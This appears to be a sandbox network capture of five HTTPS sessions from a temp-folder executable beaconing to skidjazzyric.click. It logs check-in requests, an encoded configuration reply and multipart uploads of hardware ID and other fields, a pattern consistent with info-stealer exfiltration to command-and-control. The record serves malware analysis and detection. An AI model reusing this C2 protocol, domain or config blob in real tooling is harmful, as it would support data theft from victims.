Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	104.21.112.1	443	7696	C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:34:54 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: skidjazzyric.click
2025-01-09 07:34:54 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-09 07:34:54 UTC	1127	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 07:34:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qa3o0ieri8l876j8kmu7kas4uk; expires=Mon, 05 May 2025 01:21:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O9opPCzJBXQ27melxlLvJZQgPAroGBZRCGRmdHY01XFIJEef0lvgE3FvobbEZIyTlDtd6m1aAHFb7NNjbA6ke8srfZkRSo%2FCHv6WhPNT8aJnSFb%2BJg%2BLXjUNsJWbEBjslkhHpdE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff2bf5cfeecc34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1507&min_rtt=1485&rtt_var=601&sent=7&recv=8&lost=0&retrans=0&sent_bytes=3057&recv_bytes=909&delivery_rate=2633794&cwnd=182&unsent_bytes=0&cid=dc62bf1df93eb6f5&ts=487&x=0"
2025-01-09 07:34:54 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-09 07:34:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49709	104.21.112.1	443	7696	C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:34:55 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 74 Host: skidjazzyric.click
2025-01-09 07:34:55 UTC	74	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 68 35 56 66 48 2d 2d 26 6a 3d 31 34 34 38 62 62 36 32 65 31 32 37 36 38 32 31 64 35 30 32 34 36 65 62 38 38 62 33 31 30 39 66 Data Ascii: act=recive_message&ver=4.0&lid=4h5VfH--&j=1448bb62e1276821d50246eb88b3109f
2025-01-09 07:34:55 UTC	1131	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 07:34:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qfmh98oufoe42hfo63vcvg11al; expires=Mon, 05 May 2025 01:21:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oiGkPR%2FAIuqZQpPd1z7Ka%2Bjw4qrLRszJ8hSSyqD3n8YKzeSpicDvwcL8aO4cjsHvhM3CA%2BZSUWUU%2BsABS7QgSCRpEqbL6ylmQTT0WcHvGZekEeraGwIef8h6s6AfvvEZVHh%2BAmA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff2bf631bb8727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1892&min_rtt=1890&rtt_var=713&sent=7&recv=8&lost=0&retrans=0&sent_bytes=3057&recv_bytes=976&delivery_rate=2296801&cwnd=235&unsent_bytes=0&cid=59626b605b18007b&ts=505&x=0"
2025-01-09 07:34:55 UTC	238	IN	Data Raw: 31 63 62 65 0d 0a 48 48 2f 44 34 41 56 6d 6f 34 70 47 67 54 37 6a 5a 31 68 75 75 42 65 34 45 75 33 68 6f 53 49 57 6a 45 51 68 61 52 6f 61 79 6d 4a 6e 58 62 58 43 50 31 4b 50 71 44 58 6b 48 4e 6b 54 4b 68 76 64 4f 35 70 7a 69 63 4f 62 52 48 66 67 4e 30 52 46 4f 47 79 6e 51 43 59 5a 6f 6f 78 32 41 34 2b 6f 49 2f 6b 63 32 54 77 6a 54 4e 31 35 6d 69 6a 50 68 4d 74 41 64 2b 41 6d 51 41 4a 31 61 71 59 42 64 42 4f 6b 69 47 41 46 78 2b 73 71 37 46 75 47 41 6a 6b 45 31 6e 37 56 65 6f 44 44 6a 51 42 7a 39 6d 59 62 53 31 64 2f 76 67 4e 52 48 72 43 4c 4a 78 75 50 38 57 54 6b 55 4d 46 64 65 67 2f 64 64 64 52 30 69 59 72 4a 53 6e 37 6f 4a 30 55 44 61 6e 4f 73 43 6e 51 64 70 34 6c 71 44 4e 50 6d 49 4f 74 51 67 41 67 35 Data Ascii: 1cbeHH/D4AVmo4pGgT7jZ1huuBe4Eu3hoSIWjEQhaRoaymJnXbXCP1KPqDXkHNkTKhvdO5pzicObRHfgN0RFOGynQCYZoox2A4+oI/kc2TwjTN15mijPhMtAd+AmQAJ1aqYBdBOkiGAFx+sq7FuGAjkE1n7VeoDDjQBz9mYbS1d/vgNRHrCLJxuP8WTkUMFdeg/dddR0iYrJSn7oJ0UDanOsCnQdp4lqDNPmIOtQgAg5
2025-01-09 07:34:55 UTC	1369	IN	Data Raw: 54 4a 51 31 33 57 6a 50 32 34 4d 54 52 75 30 33 55 68 35 31 61 4b 35 41 59 56 4f 34 77 6d 41 49 67 62 42 6b 36 31 43 50 41 44 6b 44 33 58 54 61 59 6f 43 44 77 45 68 38 36 69 78 4d 42 48 64 32 6f 67 64 32 46 4b 61 4e 59 41 7a 48 35 79 65 6a 45 73 45 43 49 6b 79 43 4e 66 70 67 6a 49 44 58 54 57 57 75 4f 51 30 53 4f 48 2b 6b 51 43 5a 64 70 34 78 6d 43 63 48 36 4c 4f 68 58 68 42 63 78 42 64 64 34 32 6e 32 46 6a 4d 42 41 63 2b 51 73 54 41 46 38 64 61 55 47 66 68 33 68 7a 43 63 44 32 61 68 38 6f 33 2b 45 46 54 30 41 7a 44 66 67 4d 4a 44 4e 32 67 42 7a 34 6d 59 62 53 33 42 39 71 77 4e 31 45 71 4b 4b 62 42 62 42 2b 69 4c 75 57 5a 4d 44 50 77 4c 51 64 73 68 36 67 59 58 41 53 58 2f 6e 49 30 51 50 4f 44 62 6f 42 32 5a 64 2b 63 4a 47 43 63 72 6b 4c 76 52 63 77 52 70 Data Ascii: TJQ13WjP24MTRu03Uh51aK5AYVO4wmAIgbBk61CPADkD3XTaYoCDwEh86ixMBHd2ogd2FKaNYAzH5yejEsECIkyCNfpgjIDXTWWuOQ0SOH+kQCZdp4xmCcH6LOhXhBcxBdd42n2FjMBAc+QsTAF8daUGfh3hzCcD2ah8o3+EFT0AzDfgMJDN2gBz4mYbS3B9qwN1EqKKbBbB+iLuWZMDPwLQdsh6gYXASX/nI0QPODboB2Zd+cJGCcrkLvRcwRp
2025-01-09 07:34:55 UTC	1369	IN	Data Raw: 63 68 38 68 59 58 4d 54 58 69 75 61 41 4d 4d 59 44 6a 77 51 46 51 65 74 59 46 74 52 76 54 72 4b 75 31 62 6c 30 55 6c 51 73 4d 31 33 58 7a 50 32 34 4e 4e 64 65 59 67 55 51 52 31 65 36 59 4f 63 52 69 75 69 6d 63 45 7a 4f 30 67 36 46 65 43 43 44 34 65 30 48 58 53 64 59 36 4a 79 51 41 36 72 69 46 62 53 79 41 34 6d 52 64 31 58 35 53 42 61 51 72 47 2f 6d 54 38 45 70 68 46 50 51 43 61 4c 5a 70 39 68 34 62 47 54 33 58 6b 4b 45 59 42 64 48 43 6d 41 32 77 53 70 59 4a 72 44 4d 76 6c 4b 75 64 55 69 41 34 78 43 74 70 30 30 44 44 42 77 38 52 59 4e 4c 5a 6d 64 77 78 30 64 61 64 43 53 78 36 76 6a 47 41 53 67 66 64 71 2b 68 79 47 43 58 70 55 6d 6e 6e 54 63 49 53 4a 78 30 42 7a 34 79 4e 41 44 48 74 31 72 77 70 77 47 71 57 4f 62 67 6e 48 36 43 50 6e 57 5a 4d 41 4d 77 44 57 Data Ascii: ch8hYXMTXiuaAMMYDjwQFQetYFtRvTrKu1bl0UlQsM13XzP24NNdeYgUQR1e6YOcRiuimcEzO0g6FeCCD4e0HXSdY6JyQA6riFbSyA4mRd1X5SBaQrG/mT8EphFPQCaLZp9h4bGT3XkKEYBdHCmA2wSpYJrDMvlKudUiA4xCtp00DDBw8RYNLZmdwx0dadCSx6vjGASgfdq+hyGCXpUmnnTcISJx0Bz4yNADHt1rwpwGqWObgnH6CPnWZMAMwDW
2025-01-09 07:34:55 UTC	1369	IN	Data Raw: 6e 44 33 41 35 74 72 69 46 50 53 79 41 34 6f 51 6c 73 45 36 2b 4c 61 67 4c 4a 37 79 72 75 56 34 63 4f 50 51 76 63 65 4e 4a 39 69 6f 44 43 52 48 37 38 4a 55 67 42 64 58 4c 6f 54 6a 34 61 75 63 49 2f 52 4f 62 6b 44 66 4e 48 6b 78 4e 36 45 35 52 73 6d 6e 65 44 77 35 73 41 64 2b 45 76 54 41 4e 77 64 36 63 45 63 42 75 6e 6a 32 49 4c 79 2f 6f 73 37 56 47 4b 43 6a 45 65 32 6e 6a 65 66 49 75 4c 79 45 6f 30 6f 47 5a 45 45 7a 67 67 36 44 56 7a 45 71 47 42 63 55 54 65 70 6a 32 6a 57 34 31 46 59 6b 7a 57 65 39 70 2f 67 34 2f 49 53 48 58 69 4b 45 51 4f 63 58 43 67 45 6e 38 5a 71 59 4e 70 43 38 44 73 49 65 5a 59 68 67 45 38 41 35 6f 37 6d 6e 65 58 77 35 73 41 57 38 6b 54 41 53 70 43 4f 4c 64 4f 5a 31 32 6d 6a 69 64 63 67 65 51 6e 37 31 53 4f 41 7a 4d 41 30 48 7a 52 66 Data Ascii: nD3A5triFPSyA4oQlsE6+LagLJ7yruV4cOPQvceNJ9ioDCRH78JUgBdXLoTj4aucI/RObkDfNHkxN6E5RsmneDw5sAd+EvTANwd6cEcBunj2ILy/os7VGKCjEe2njefIuLyEo0oGZEEzgg6DVzEqGBcUTepj2jW41FYkzWe9p/g4/ISHXiKEQOcXCgEn8ZqYNpC8DsIeZYhgE8A5o7mneXw5sAW8kTASpCOLdOZ12mjidcgeQn71SOAzMA0HzRf
2025-01-09 07:34:55 UTC	1369	IN	Data Raw: 44 63 4f 73 70 51 67 70 2b 61 71 38 4a 62 42 4f 73 6a 57 38 4d 79 4f 6b 67 35 6c 47 48 43 54 41 4e 33 58 76 55 65 4d 2f 4e 67 30 64 73 72 6e 34 44 4b 6d 68 6a 75 68 5a 7a 50 4b 79 4e 4a 78 75 50 38 57 54 6b 55 4d 46 64 65 67 58 49 63 64 64 69 68 6f 54 4e 54 33 66 38 4a 30 34 41 61 6e 2b 6e 42 48 6b 52 70 34 31 68 42 63 54 69 4b 4f 52 5a 69 67 6f 32 54 4a 51 31 33 57 6a 50 32 34 4e 75 66 2f 30 78 51 41 56 7a 62 72 4e 41 59 56 4f 34 77 6d 41 49 67 62 42 6b 34 46 65 4b 41 54 6f 41 32 6e 48 58 63 4a 32 4d 78 45 64 39 35 54 52 4a 44 48 39 7a 6f 41 74 78 47 37 4f 4f 61 52 62 45 2b 6a 61 6a 45 73 45 43 49 6b 79 43 4e 65 78 33 6e 35 50 41 41 6b 58 34 4a 56 55 41 64 58 54 6f 48 7a 41 45 34 59 56 72 52 4a 6d 6f 49 75 78 56 67 67 6f 37 42 64 5a 34 33 33 6d 4b 67 73 Data Ascii: DcOspQgp+aq8JbBOsjW8MyOkg5lGHCTAN3XvUeM/Ng0dsrn4DKmhjuhZzPKyNJxuP8WTkUMFdegXIcddihoTNT3f8J04Aan+nBHkRp41hBcTiKORZigo2TJQ13WjP24Nuf/0xQAVzbrNAYVO4wmAIgbBk4FeKAToA2nHXcJ2MxEd95TRJDH9zoAtxG7OOaRbE+jajEsECIkyCNex3n5PAAkX4JVUAdXToHzAE4YVrRJmoIuxVggo7BdZ433mKgs
2025-01-09 07:34:55 UTC	1369	IN	Data Raw: 46 45 41 51 4f 47 66 6d 47 54 34 61 72 63 49 2f 52 4d 4c 76 4a 2b 4a 57 69 41 6b 31 43 39 35 6e 30 48 65 64 67 73 4a 4c 65 65 49 6d 54 67 5a 79 65 61 45 4e 63 68 43 6d 68 57 67 42 67 61 5a 6b 35 45 54 42 58 58 6f 74 31 33 37 57 4b 39 58 44 33 41 35 74 72 69 46 50 53 79 41 34 71 41 70 37 46 36 79 42 61 41 66 54 36 53 4c 78 58 49 77 50 4b 41 62 52 63 4e 64 39 67 6f 44 46 52 6e 2f 69 4e 45 6f 4c 65 33 50 6f 54 6a 34 61 75 63 49 2f 52 4f 4c 2f 4d 75 6c 62 6a 52 4d 78 44 64 6c 6a 31 32 44 50 7a 59 4e 52 63 2f 39 6d 47 78 31 6f 62 36 38 66 4d 41 54 68 68 57 74 45 6d 61 67 69 36 6c 71 47 41 7a 51 65 33 33 50 56 66 34 61 4b 78 30 68 33 37 69 4a 48 44 48 31 37 70 41 74 35 48 71 36 47 62 67 72 49 35 32 53 74 48 49 59 64 65 6c 53 61 56 4d 46 7a 67 34 36 44 58 7a 72 Data Ascii: FEAQOGfmGT4arcI/RMLvJ+JWiAk1C95n0HedgsJLeeImTgZyeaENchCmhWgBgaZk5ETBXXot137WK9XD3A5triFPSyA4qAp7F6yBaAfT6SLxXIwPKAbRcNd9goDFRn/iNEoLe3PoTj4aucI/ROL/MulbjRMxDdlj12DPzYNRc/9mGx1ob68fMAThhWtEmagi6lqGAzQe33PVf4aKx0h37iJHDH17pAt5Hq6GbgrI52StHIYdelSaVMFzg46DXzr
2025-01-09 07:34:55 UTC	283	IN	Data Raw: 54 68 2f 73 45 41 6d 58 59 47 4a 63 51 48 47 2f 6d 62 57 58 34 38 4c 50 52 71 61 61 75 55 2b 7a 34 4b 44 47 45 33 33 5a 6c 56 4c 49 43 72 6d 51 47 78 64 2b 63 49 67 42 39 50 36 49 75 42 4b 67 6b 49 45 4d 76 31 6a 30 48 65 66 68 4e 52 50 4e 4b 42 6d 54 45 73 67 51 65 67 4a 65 51 61 77 6c 47 6f 55 78 71 67 62 72 52 79 5a 52 57 4a 4d 37 33 62 55 66 6f 69 56 30 67 31 54 2b 43 78 45 47 33 39 76 70 30 41 77 58 61 66 43 50 31 65 50 71 43 44 79 48 4e 6c 56 61 46 65 50 4a 6f 30 67 33 5a 79 4e 57 54 54 34 5a 68 74 5a 4e 6a 69 36 51 43 5a 64 35 6f 46 31 46 73 66 72 4d 75 41 62 76 7a 73 64 46 74 64 7a 7a 57 47 78 76 63 52 61 65 65 67 78 55 6b 64 74 65 36 59 4f 65 51 76 68 7a 43 63 4c 67 62 41 64 6f 78 54 42 4f 6e 52 4d 77 6a 57 43 4d 4c 71 41 7a 55 35 7a 2b 44 63 4f Data Ascii: Th/sEAmXYGJcQHG/mbWX48LPRqaauU+z4KDGE33ZlVLICrmQGxd+cIgB9P6IuBKgkIEMv1j0HefhNRPNKBmTEsgQegJeQawlGoUxqgbrRyZRWJM73bUfoiV0g1T+CxEG39vp0AwXafCP1ePqCDyHNlVaFePJo0g3ZyNWTT4ZhtZNji6QCZd5oF1FsfrMuAbvzsdFtdzzWGxvcRaeegxUkdte6YOeQvhzCcLgbAdoxTBOnRMwjWCMLqAzU5z+DcO
2025-01-09 07:34:55 UTC	1369	IN	Data Raw: 32 66 64 32 0d 0a 79 49 4c 6f 38 6a 32 4e 4f 52 58 7a 72 33 5a 6c 56 4c 49 43 72 6d 51 47 78 64 2b 63 49 67 42 39 50 36 49 75 42 4b 67 6b 49 45 4d 76 52 79 33 48 57 49 6b 34 46 75 66 2f 6f 68 41 30 55 34 64 2b 68 59 52 31 33 70 77 6c 68 4b 67 66 42 6b 75 78 79 30 42 6a 51 43 33 57 50 4c 50 61 47 45 78 55 56 7a 2f 6d 52 74 41 47 78 2f 36 45 34 2b 47 2b 48 61 4e 30 71 42 37 44 57 6a 42 4e 46 58 59 56 6d 4a 49 6f 6f 69 6b 4d 33 61 41 47 4b 75 66 68 46 46 4f 47 72 6f 57 44 35 61 6f 70 42 31 41 73 4c 2b 4a 36 52 69 76 77 59 73 41 64 56 2b 32 30 36 78 72 63 35 42 64 2b 42 6b 63 68 31 31 61 4b 73 46 65 53 4f 66 6a 47 41 51 78 75 59 69 34 78 7a 50 52 54 56 4d 67 6b 79 61 4f 4d 2b 38 6a 51 42 73 72 6e 34 44 50 6e 74 32 70 67 64 6f 44 4f 79 68 63 51 6e 4f 34 79 57 Data Ascii: 2fd2yILo8j2NORXzr3ZlVLICrmQGxd+cIgB9P6IuBKgkIEMvRy3HWIk4Fuf/ohA0U4d+hYR13pwlhKgfBkuxy0BjQC3WPLPaGExUVz/mRtAGx/6E4+G+HaN0qB7DWjBNFXYVmJIooikM3aAGKufhFFOGroWD5aopB1AsL+J6RivwYsAdV+206xrc5Bd+Bkch11aKsFeSOfjGAQxuYi4xzPRTVMgkyaOM+8jQBsrn4DPnt2pgdoDOyhcQnO4yW
2025-01-09 07:34:55 UTC	1369	IN	Data Raw: 58 30 50 79 47 66 63 63 35 6d 41 68 48 35 4b 79 53 68 45 43 6d 35 6f 70 51 78 66 48 72 43 49 57 54 72 55 36 79 72 74 57 35 63 55 65 6b 4b 61 65 70 6f 6f 74 73 4f 4c 41 45 75 67 5a 6c 74 4c 49 44 69 64 41 33 41 54 70 70 52 32 53 65 62 6d 49 2b 4a 4b 6b 51 67 32 4c 64 6c 6b 30 44 44 42 77 38 55 41 4c 4c 78 6f 41 77 39 70 4f 50 42 51 4c 45 62 30 30 54 42 55 6b 2f 64 71 2b 68 79 58 52 57 4a 65 6c 44 58 49 4d 4e 66 44 68 45 4e 6d 2f 43 42 41 48 58 73 2f 6c 6a 35 62 43 71 4b 53 59 51 66 2f 31 67 2f 76 57 6f 59 66 50 51 72 38 56 5a 6f 2b 7a 34 79 44 47 45 32 75 62 67 4d 30 4e 6a 69 77 51 43 5a 64 6c 49 46 70 43 73 62 2b 4e 61 35 35 6c 67 59 71 43 74 6b 31 6c 44 43 4a 77 35 73 51 4f 71 34 69 55 6b 73 67 4b 50 70 62 4b 30 37 32 30 6a 55 62 6a 2f 46 6b 39 52 7a 5a Data Ascii: X0PyGfcc5mAhH5KyShECm5opQxfHrCIWTrU6yrtW5cUekKaepootsOLAEugZltLIDidA3ATppR2SebmI+JKkQg2Ldlk0DDBw8UALLxoAw9pOPBQLEb00TBUk/dq+hyXRWJelDXIMNfDhENm/CBAHXs/lj5bCqKSYQf/1g/vWoYfPQr8VZo+z4yDGE2ubgM0NjiwQCZdlIFpCsb+Na55lgYqCtk1lDCJw5sQOq4iUksgKPpbK0720jUbj/Fk9RzZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49710	104.21.112.1	443	7696	C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:34:56 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3DD04L10ZVKXPSY85VZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12847 Host: skidjazzyric.click
2025-01-09 07:34:56 UTC	12847	OUT	Data Raw: 2d 2d 33 44 44 30 34 4c 31 30 5a 56 4b 58 50 53 59 38 35 56 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 46 37 45 39 41 36 35 32 41 31 30 34 42 46 43 44 30 36 33 32 44 46 30 45 32 38 44 43 34 31 32 0d 0a 2d 2d 33 44 44 30 34 4c 31 30 5a 56 4b 58 50 53 59 38 35 56 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 44 44 30 34 4c 31 30 5a 56 4b 58 50 53 59 38 35 56 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 68 35 56 66 48 2d 2d 0d 0a Data Ascii: --3DD04L10ZVKXPSY85VZContent-Disposition: form-data; name="hwid"EF7E9A652A104BFCD0632DF0E28DC412--3DD04L10ZVKXPSY85VZContent-Disposition: form-data; name="pid"2--3DD04L10ZVKXPSY85VZContent-Disposition: form-data; name="lid"4h5VfH--
2025-01-09 07:34:56 UTC	1133	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 07:34:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=74i2gqbjhiibf3vcfms32o72oc; expires=Mon, 05 May 2025 01:21:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JVY5GDouF4BSI%2FJJAe859DwNcd43M%2FpExlsic9XatHsgG3xPHWCrZiu2wyaQyetGpPDMIlAh2LTp8c9rgHte2fGq1HKobSWjtrNsfl8IzQxK%2FGyNrH%2FCUksLxIveLzfocW9hbEs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff2bf6aede50f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1727&min_rtt=1724&rtt_var=652&sent=14&recv=18&lost=0&retrans=0&sent_bytes=3057&recv_bytes=13790&delivery_rate=2505720&cwnd=222&unsent_bytes=0&cid=1cc1cca744ee1d06&ts=596&x=0"
2025-01-09 07:34:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-09 07:34:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49711	104.21.112.1	443	7696	C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:34:57 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=S6OMF5M6QO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15022 Host: skidjazzyric.click
2025-01-09 07:34:57 UTC	15022	OUT	Data Raw: 2d 2d 53 36 4f 4d 46 35 4d 36 51 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 46 37 45 39 41 36 35 32 41 31 30 34 42 46 43 44 30 36 33 32 44 46 30 45 32 38 44 43 34 31 32 0d 0a 2d 2d 53 36 4f 4d 46 35 4d 36 51 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 36 4f 4d 46 35 4d 36 51 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 68 35 56 66 48 2d 2d 0d 0a 2d 2d 53 36 4f 4d 46 35 4d 36 51 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --S6OMF5M6QOContent-Disposition: form-data; name="hwid"EF7E9A652A104BFCD0632DF0E28DC412--S6OMF5M6QOContent-Disposition: form-data; name="pid"2--S6OMF5M6QOContent-Disposition: form-data; name="lid"4h5VfH----S6OMF5M6QOContent-Dispo
2025-01-09 07:34:58 UTC	1133	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 07:34:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bv951elgj4e9chgd25looi85q5; expires=Mon, 05 May 2025 01:21:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aB3aR0GK0AoB7yjLq%2BbhTfszuiXc3Ya2BulDGxNxAWFOB7DMYWJmVubtiusf04OoO5olQ3v%2BvHbwPIerbnDZ13tRJ3ZAKxKFFgHBFHCAhFwBTrDZK20ZkO3ZSWb%2B36JAiwVqQ%2BI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff2bf71f9f3424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1570&min_rtt=1565&rtt_var=598&sent=10&recv=19&lost=0&retrans=0&sent_bytes=3057&recv_bytes=15956&delivery_rate=2718808&cwnd=249&unsent_bytes=0&cid=2374082898600ebd&ts=550&x=0"
2025-01-09 07:34:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-09 07:34:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49712	104.21.112.1	443	7696	C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:34:59 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CBIS1W9T7B6JTZI5AF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20237 Host: skidjazzyric.click
2025-01-09 07:34:59 UTC	15331	OUT	Data Raw: 2d 2d 43 42 49 53 31 57 39 54 37 42 36 4a 54 5a 49 35 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 46 37 45 39 41 36 35 32 41 31 30 34 42 46 43 44 30 36 33 32 44 46 30 45 32 38 44 43 34 31 32 0d 0a 2d 2d 43 42 49 53 31 57 39 54 37 42 36 4a 54 5a 49 35 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 43 42 49 53 31 57 39 54 37 42 36 4a 54 5a 49 35 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 68 35 56 66 48 2d 2d 0d 0a 2d 2d 43 Data Ascii: --CBIS1W9T7B6JTZI5AFContent-Disposition: form-data; name="hwid"EF7E9A652A104BFCD0632DF0E28DC412--CBIS1W9T7B6JTZI5AFContent-Disposition: form-data; name="pid"3--CBIS1W9T7B6JTZI5AFContent-Disposition: form-data; name="lid"4h5VfH----C
